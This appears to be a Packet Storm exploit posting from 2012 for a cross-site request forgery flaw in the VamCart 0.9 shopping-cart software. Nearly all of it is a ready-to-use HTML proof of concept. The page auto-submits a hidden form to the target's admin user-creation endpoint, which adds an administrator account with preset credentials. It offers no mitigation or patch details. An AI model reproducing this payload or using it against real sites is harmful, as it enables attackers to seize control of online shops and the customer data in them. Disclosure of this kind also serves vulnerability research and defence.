VamCart version 0.9 suffers from a cross site request forgery vulnerability.
44b4331ea7a4adfb5da06983201511d8e96dbbfa64003c6c419310507d3d5a89# Exploit Title: VamCart v0.9 CSRF Vulnerability
# Date: 20/08/2012
# Author: DaOne
# Software Link: http://vamcart.googlecode.com/files/vamcart.zip
# Greetings to: LCA
# CSRF Add Admin:
<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/users/admin_new/">
<input type="hidden" name="data[User][username]" value="webadmin">
<input type="hidden" name="data[User][email]" value="admin@email.com"/>
<input type="hidden" name="data[User][password]" value="pass123"/>
</form>
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed